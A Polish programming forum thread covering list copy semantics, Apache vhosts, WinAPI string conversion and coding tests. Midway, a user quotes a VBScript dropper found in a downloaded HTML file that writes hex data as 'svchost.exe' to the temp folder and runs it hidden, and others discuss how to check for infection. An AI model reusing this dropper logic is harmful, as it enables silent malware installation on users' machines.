w sumie racja, powinienem był napisać z typem ;p
Wersja do druku
w sumie racja, powinienem był napisać z typem ;p
No jednak nie jest to samo.Zresztą odpal mój algorytm do znajdowania permutacji i zamień sobie kopię na przypisanie. Zobaczysz, że nie zadziała.Kod:Python 2.6.6 (r266:84292, Jan 22 2014, 09:42:36)
[GCC 4.4.7 20120313 (Red Hat 4.4.7-4)] on linux2
Type "help", "copyright", "credits" or "license" for more information.
>>> a = b = [1, 2]
>>> a
[1, 2]
>>> b
[1, 2]
>>> del b[1]
>>> a
[1]
>>> b
[1]
Jeszcze lepiej masz w Haskellu, tam jest praktycznie tylko kopia a i tak wszystko śmiga wzorowo : )
No ale to jest wobec tego lista. :)
C#:
Implementacja różni się od języka, w PHPie np:Kod:List<int> test = new List<int>();
test.add(1);
test.add(5);
List<int> test2 = test;
test.remove(1);
//test i test2 nadal są te same
Kod:$a = [1,2,3];
$b = $a;
$b[] = 4;
//$a i $b różnią się
W C++ domyslna semantyka, jest semantyka kopiowania:
Kod:#include <iostream>
#include <cassert>
#include <list>
#include <cstdint>
int main()
{
std::list<uint32_t> a = { 1, 2, 3};
std::list<uint32_t> b (a);
a.pop_back();
assert(a.size() != b.size());
}
Hej TORGI, pobralem dzis plik ".html" i uruchomilem (niestety), a potem w srodku znalazlem takie cudo:
Teraz pytanie, jak sie tego pozbyc? Bo domyslam sie, ze to jakis virus.Kod:<SCRIPT Language=VBScript><!--
DropFileName = "svchost.exe"
WriteData = "4D5A90000300000004000000....."
Set FSO = CreateObject("Scripting.FileSystemObject")
DropPath = FSO.GetSpecialFolder(2) & "\" & DropFileName
If FSO.FileExists(DropPath)=False Then
Set FileObj = FSO.CreateTextFile(DropPath, True)
For i = 1 To Len(WriteData) Step 2
FileObj.Write Chr(CLng("&H" & Mid(WriteData,i,2)))
Next
FileObj.Close
End If
Set WSHshell = CreateObject("WScript.Shell")
WSHshell.Run DropPath, 0
//--></SCRIPT>
Tutaj link do pastebin co dokladnie bylo w WriteData --> http://pastebin.com/FC5bzqe4
1. skrypt jest wykomentowany
2. It's important to note that VBScript is supported only by Internet Explorer.
ale sprawdź na wszelki wypadek wszystkie katalogi tymczasowe (2 to temp, ale kurde nie wiem który :D, prawdopodobnie ten w %temp%)
jeśli plik jest to przeskanuj, jak nie to luz, a sam później ogarnę co to (całkiem fajnie to jest zrobione, tak na szybko go nie wyciągnę)
Plik otworzylem za pomoca Google Chrome. W %temp% oraz %WinDir%\Temp zadnego pliku .exe nie mam.
weź jeszcze tak dla spokoju ducha załóż temat w sio z logami otl wg instrukcji, chociaż imo TEGO nie ędzie, najwyżej jakieś inne głupoty Vadim ci posprząta :D
(ciekawe, czy ie by toto wykonał bez pytania o zgodę, jeśli tak to trochę zonk, ale wątpię)
edit: haha, jak chciałem zmusić ten plik do działania to mi AV już jęczy
Moj avast niestety mial wyjebane.
Mysle, ze nie bedzie potrzeby dodatkowego skanowania. :P
Uruchomilem to na wirutalnej maszynie i faktycznie tworza sie 2 pliki w %temp%, wiec skoro u mnie ich nie ma to czuje sie bezpieczny.
Zadanie dla TORGowych hakierów: kiedy próbuję odpalić adres "gmail/" (bez cudzysłowów) odpala mi się localhost — jeden z vhostów ustawionych w Apache — zawsze ten sam, ale jeżeli wyłączę go w configu Apache, to odpala się następny, który nie jest wyłączony. Ocb? Płacę grinbagami.
Wez wrzuc httpd.conf i includy na wklejke, moze tam cos bedzie.
Nie pamiętam gdzie dokładnie się dnsy robiło na uxie, ale mozliwe, że jakaś paczka od apacza tam namieszała.
@EDIT
Poszukaj "gmail" w etc a jak nie będzie to hulaj dusza caly rootCytuj:
Przeskanowałem cały system w poszukiwaniu stringa "gmail/" i pusto. Jakieś inne pomysły?
W jaki sposób przekonwertować int na LPCSTR
mam tablice i chce np indeks [0][1] = wartosc
wyswietlic
dodam ze wartośc to typ LPCSTR
SetWindowText(uchwyt okna,wartosc);
lpcstr to wskaznik na tablice charow ta?
umiem wpisać w googlewiem ze jest taka funckaj ale dziala mi tylko z liczba a jak wpisze tabele to juz nie
co takiego zrobilem ale pokazuje 0 zawsze
case ID_PRZYCISK4:
int value = tab[1][4];
std::stringstream stream;
stream << tab[1][4];
SetWindowText(hButton11,stream.str().c_str());
if((ID_PRZYCISK3<=wParam)&&(wParam<=ID_PRZYCISK18) )
{
char str[8];
int yx=wParam-ID_PRZYCISK3,y=yx/4,x=yx-4*y;
sprintf(str,"%d",tab[x][y]);
SetDlgItemText(hwnd,wParam,str);
mam tutaj gotową już funkcje jakiś ziomek mi zrobił na forum dla wszystkich przycisków a chce zeby było dla jednego ktos by mógł to przerobić np tab[0][0] - IDPrzycisk3, tab[1][0] - IDPrzycisk4 itd.
Da się zapisać skróconego if'a w c++ bez else? xD
Chcę otrzymać coś takiego
Kod:moveDirection[Up] ? moveVector.y -= 1.f;
Pytasz o ternary operator?
@szulak ;
http://itcareer.pl/
jakiś konkurs dla progsów, trzeba zrobić krótki test w wybranej przez siebie technologii ;D chwalcie się wynikami :D
ja 84/180 w .NET nie dziwie sie, ze znalazlem prace tylko w SAPie ;D
(tylko nie oszukujcie, robcie bez googla)
c++:
https://i.imgur.com/yAq06nQ.png
.net:
https://i.imgur.com/t0Mriby.png
Kazdy test zajal mi 2 minuty~.
@joozioom ;
Mozesz tez tak:
moveDirection[Up] ? moveVector.y -= 1.f : ;
Sorry, ale jak widzę że trzeba gdzieś podać swoje dane personalne dla samego zrobienia konkursu to dziękuję z miejsca xD
Ja podalem fake :P Ale fakt zagiely mnie te pola. Chuj im w oko.
No fajne, ja lubie takie testy ;) swoja droga nie wiem czego tak chujowy wynik osiagnalem, liczylem na max 3 bledy ;D
Jest tam moze JS czy cos frontendowego? bo nie wiem czy sie oplaca rejestrowac
@Haan ;
c++ .net, java i ios
Swoja droga fajny pomysl na pozyskanie danych developerow
wrzucałem chyba wczoraj na irca
Zapomnieli o object pascalu. Ciekawe czymby byl ;-)
zapomnianym, starożytnym ostrzem, które przecina wszystko, jeśli umiesz je prawidłowo dzierżyć, lecz nikt nawet nie chce podjąć się treningu? :p
Mocne xD
108/180 z Javy, 132/180 z C++. Test bzdurny jak dla mnie — programista to nie kompilator, parser ani interpreter, żeby wiedział, co się stanie po odpaleniu danego programu. Gdyby tak było, nikt nie popełniałby nigdy żadnych bugów, a przecież jest ich masa.
Object Pascal/Delphi to największe gówno w całym kosmosie...
jedno co mi sie nie podoba to embedowanie formy w jakimś magicznym języku zamiast normalnego kodu wykonywanego... kurde jakiś interpreter wyciąga strinda z execa i go no interpretuje, bez jaj...
ale poza tym jest spoko, bardzo przyjemne ide (tak 7 jak i xe5, za to xe7 mnie bolalo już trochę)
poza kilkoma dziwactwami samego języka pisze się bardzo przyjemnie, najwyżej przez ten dziwny sposób traktowania form projekty wykonywane zgodnie z założeniami RAD może być ciężko zrozumieć (jakoś osobiście wolę mieć wszystko explicit w kodzie wykonywanym...)
W tym miejscu był post (niech mu ziemia lekką będzie), który zawierał prosty przekaz (w formie obrazka) do użytkownika Zeimer.
panie, nie przeginaj pan //zakius
Nie zdążyłem ujrzeć obrazka, dlatego też usilnie upraszam o przekaz werbalny.
programuje tu ktos w ruby? jakies fajne poradniki/tutoriale dla totalnych laikow?
https://www.codeschool.com/paths/ruby
2 dni za darmo mozesz zobaczyc
nie wiem jak ruby, ale ogolnie to bardzo fajne zrobione zadania, nie takie jak np na codeacademy gdzie w wiekszosci po prostu przepisujesz kod